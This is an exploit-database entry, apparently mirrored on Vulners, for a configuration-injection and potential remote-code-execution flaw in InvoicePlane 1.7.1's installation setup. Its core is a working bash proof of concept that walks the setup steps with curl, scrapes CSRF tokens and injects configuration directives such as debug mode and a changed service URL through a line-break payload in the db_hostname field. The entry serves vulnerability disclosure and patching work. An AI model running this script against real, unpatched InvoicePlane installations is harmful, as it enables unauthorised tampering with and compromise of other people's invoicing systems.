Lucene search
+L

InvoicePlane 1.7.1 - RCE

🗓️ 01 Oct 2026 00:00:00Reported by Mustafa Murat AkgülType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 16 Views

Code
# Exploit Title: InvoicePlane 1.7.1 -  RCE
# Date: 2026-04-10
# Exploit Author: Mustafa Murat Akgül
# Vendor Homepage: https://invoiceplane.com/
# Software Link: https://github.com/InvoicePlane/InvoicePlane
# Version: 1.7.1 (Patched: 1.7.2)
# CVE: CVE-2026-40297
# Advisory: GHSA-ffq5-mw9f-mv6j
# Tested on: Linux/Ubuntu (PHP 8.x)

Technical Details:
A critical configuration injection vulnerability exists in the application’s setup module.
The db_hostname parameter is not properly sanitized during installation, allowing attackers
to inject arbitrary configuration values. This can lead to environment manipulation, debug
mode activation, and potential remote code execution depending on deployment context.

Proof of Concept (PoC):

The following bash script automates the installation setup flow, extracts the necessary
CSRF tokens sequentially, and injects configuration directives through the db_hostname field:

#!/bin/bash

# Step 1: Initialize session and fetch language page CSRF token
curl -s -c /tmp/exploit.txt "http://127.0.0.1/index.php/setup/language" > /dev/null

TOKEN1=$(curl -s -b /tmp/exploit.txt "http://127.0.0.1/index.php/setup/language" \
| grep -oP '(?<=name="_ip_csrf" value=")[^"]*')

# Step 2: Submit language step
curl -s -b /tmp/exploit.txt -c /tmp/exploit.txt -X POST \
"http://127.0.0.1/index.php/setup/language" \
--data "_ip_csrf=${TOKEN1}&ip_lang=english&btn_continue=Continue" > /dev/null

# Step 3: Fetch prerequisites CSRF token
TOKEN2=$(curl -s -b /tmp/exploit.txt "http://127.0.0.1/index.php/setup/prerequisites" \
| grep -oP '(?<=name="_ip_csrf" value=")[^"]*')

# Step 4: Submit prerequisites step
curl -s -b /tmp/exploit.txt -c /tmp/exploit.txt -X POST \
"http://127.0.0.1/index.php/setup/prerequisites" \
--data "_ip_csrf=${TOKEN2}&btn_continue=Continue" > /dev/null

# Step 5: Fetch database configuration CSRF token
TOKEN3=$(curl -s -b /tmp/exploit.txt "http://127.0.0.1/index.php/setup/configure_database" \
| grep -oP '(?<=name="_ip_csrf" value=")[^"]*')

# Step 6: Submit payload via db_hostname parameter injection
curl -s -b /tmp/exploit.txt -X POST \
"http://127.0.0.1/index.php/setup/configure_database" \
--data-urlencode "_ip_csrf=${TOKEN3}" \
--data-urlencode "db_hostname=localhost'
ENABLE_DEBUG=true
SUMEX_URL=http://192.168.1.1/
DB_HOSTNAME='localhost" \
--data-urlencode "db_username=ip_user" \
--data-urlencode "db_password=Sifre123!" \
--data-urlencode "db_database=invoiceplane" \
--data-urlencode "db_port=3306"

Impact:
- Arbitrary configuration injection
- Environment variable manipulation
- Debug mode activation
- Sensitive information exposure risk
- Potential remote code execution (depending on deployment configuration)
- Full application compromise in worst-case scenarios

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Oct 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
16